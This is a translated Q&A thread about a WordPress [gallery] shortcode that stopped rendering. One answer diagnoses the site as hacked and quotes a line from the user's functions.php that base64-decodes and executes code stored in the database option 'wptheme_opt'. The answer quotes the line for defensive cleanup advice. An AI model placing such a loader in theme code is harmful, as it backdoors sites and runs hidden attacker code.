一切都很好,直到最近的更新。 [gallery]
不再显示图片,而且看起来它还没有包含在代码中。
以下是页面循环:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
来自the_content的文本内容正在显示,但内容中的[gallery]未显示或呈现为代码(因此问题不应出现在javascript中)。
这是functions.php文件:http://pastebin.com/vfJpphgt(是的,我已添加了对图库的主题支持,但没有更改)
答案 0 :(得分:1)
尝试安装插件NextGEN Gallery,添加图库图片,并尝试在主页上显示,
https://wordpress.org/plugins/nextgen-gallery/
答案 1 :(得分:1)
你的网站被黑了。
pastebin的最后一行是从您的数据库加载恶意代码:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
执行的代码会弄乱WPQuery以检索您的Gallery媒体文件。这就是[gallery]
被打破的原因。 (实际上你可以对这部分感到幸运。)
您可以在sucuri.net找到有关此恶意软件的条目。您应检查服务器上的所有文件是否存在可疑行。虽然最可能的攻击途径是通过WordPress漏洞,但您应该在WordPress和服务器上更改所有密码。
删除恶意软件后,您可以使用Wordfence等工具清理WordPress(我与该插件或其作者没有任何关系)。
答案 2 :(得分:-1)
你在控制台看到任何javascript错误吗?
的输出是什么<?php echo do_shortcode('[gallery]');?>